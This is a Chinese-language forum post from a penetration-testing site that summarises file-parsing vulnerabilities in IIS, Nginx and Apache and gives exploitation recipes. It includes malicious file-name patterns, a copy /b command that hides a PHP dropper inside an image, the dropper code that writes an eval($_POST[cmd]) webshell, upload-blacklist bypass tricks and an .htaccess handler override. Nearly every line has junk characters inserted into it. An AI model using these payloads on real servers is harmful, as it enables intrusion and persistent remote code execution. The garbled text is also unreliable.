中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
5 f9 {* B- T/ j# b[+]IIS6.0
# {$ P" F! ~* u5 N/ E" ^+ ~1 |9 G9 n
, K% X5 X) O0 t( y. i# u目录解析:/xx.asp/xx.jpg , z9 @/ W: l; v$ ?. c
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
% L0 [! O: j" U! S1 H& ?& h IIS6.0 会将 xx.jpg 解析为 asp 文件。
" t- r. u( x/ i* Z6 X5 V* x, W后缀解析:/xx.asp;.jpg     - Z+ ~  l) y( ], O+ [6 C: d% U/ S
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: c- O7 W3 u$ v6 R, S
默认解析:/xx.asa- n- v' c) B4 b
         /xx.cer
1 M% S7 g8 W- d! Y; `         /xx.cdx
# Z6 y. A- {0 X& j% }* c IIS6.0 默认的可执行文件除了 asp 还包含这三种
% X3 n5 O1 l1 V4 _) m8 } 此处可联系利用目录解析漏洞 8 S  E; I0 U# X) M6 w& u' q- J
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
9 K- U0 [" ]' p. ~0 E[+]IIS 7.0/IIS 7.5/Nginx <0.8.03' h8 C. e1 f" Z) J# C9 A* Z, L& A

' ?2 @# r. f  D; _ IIS 7.0/IIS 7.5/Nginx <0.8.035 A, V0 P" Q" B6 e$ G
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面2 [* T! |0 ?) S
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
! \+ M3 ~' w* d. R! k) X0 b 常用利用方法:
% q; A, O( V1 {% w' D7 d 将一张图和一个写入后门代码的文本文件合并将恶意文本
8 D8 R- E2 F$ A6 X 写入图片的二进制代码之后,避免破坏图片文件头和尾* V4 r7 \2 E. Z
如:
& j0 r2 y; A$ ?+ ~% L copy xx.jpg /b + yy.txt/a xy.jpg8 m( |% v6 \1 C& @0 t$ v
#########################################################
; r3 c. m3 r+ v /b 即二进制[binary]模式
$ i2 J6 f1 s( o, f; C /a 即ascii模式6 F2 i7 p1 T+ j; s9 Q
xx.jpg 正常图片文件8 S, g6 I: V& Z
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),' G  F1 P1 B( F3 T) d2 J4 _
'<?php eval($_POST[cmd])?>');?>* m$ V- P' K# a9 Y9 u
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
& n: l) `) l1 K 为shell.php的文件
5 d8 ], q* W7 l0 h* i/ W& } ###########################################################4 r' }" F1 ]: @" A* P8 ^
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
. i5 P  V+ O( g# v 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
' X6 R# ^% M) d9 d* @$ i 密码 cmd' ~: f& q# t7 X9 w' {9 l' o
[+]Nginx <0.8.03
! c- F1 E: g" W/ x7 W) E' o2 m - _, l) x# A: t) ^1 R8 c2 O
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞# i' \6 o  N4 }. Z
在一个文件路径(/xx.jpg)后面加上%00.php
* U! j+ D4 `% A 会将 /xx.jpg%00.php 解析为 php 文件。. B( ^$ @' A, e8 X% e# e
[+]Apache<0.8.03
4 F, I. o8 e" {/ l5 i& b5 C# I & ^0 _3 i4 C8 J, @
后缀解析:test.php.x1.x2.x3
6 r' D* u3 y; G" _+ v Apache将从右至左开始判断后缀,若x3非可识别后缀,' T9 {6 R& E) s. D9 M
再判断x2,直到找到可识别后缀为止,然后将该可识别% Y- `4 U& n3 h3 A/ \
后缀进解析test.php.x1.x2.x3 则会被解析为php
  X! @* n$ R& z( C2 t& k& d! j* E 经验之谈:php|php3|phtml 多可被Apache解析。
  |; @( O% k* X- M2 J[+]其他一些可利用的* |' W3 }; g) r( T; R: p9 s# ^
3 o& F" O, G, W; `6 }/ M; e- G
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
% V: u: `" n- x/ f5 x若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ x6 D! ^  r# r在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
3 b0 T$ `# a# I. t' R3 }) N或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
4 m( S1 C: ]+ R得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
5 ]) j) N! {2 G. R) w{Linux主机中不行,Linux允许这类文件存在}
+ [: V/ |/ M% t" l; i如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
  e+ f; k+ ?. Y: _: r的,当初我并不知道),且可以被上传,那可以尝试在
: f3 @+ ?5 V+ p3 x; b.htaccess中写入:7 L- d' d- P( U. e* n. [' }- g
<FilesMatch “shell.jpg”>
* ], s  K* N/ o! y+ S( {SetHandler application/x-httpd-php
1 n# R7 M$ m0 L9 N' a: `% L</FilesMatch>1 @' K5 l4 d; C
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
! Q: b+ ?4 D, B$ y" q[+]错误修改
! W* B" {6 d/ m2 f+ |3 s 5 J! E" D6 I1 a' U* [
在 IIS 6.0 下可解析 /xx.asp:.jpg& M* p  S0 U. }7 n* T6 u" y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 Z1 v7 x8 ?- _" q" {/ N6 l剩下/xx.asp}修改:0 G# K( p9 F7 s
先谢谢核攻击的提醒( [$ p# b8 D# x7 b6 g
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
- d/ k+ Y1 |: _4 a里是没有任何内容的,因为。。不好解释 大家自己看& D$ F: }" j, ~( F6 N4 d
http://lcx.cc/?i=2448- v% g! q# t* E1 {- s+ o
http://baike.baidu.com/view/3619593.htm0 P- q8 H2 F9 v
6 _4 \! G* ^$ C/ o; R% c





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2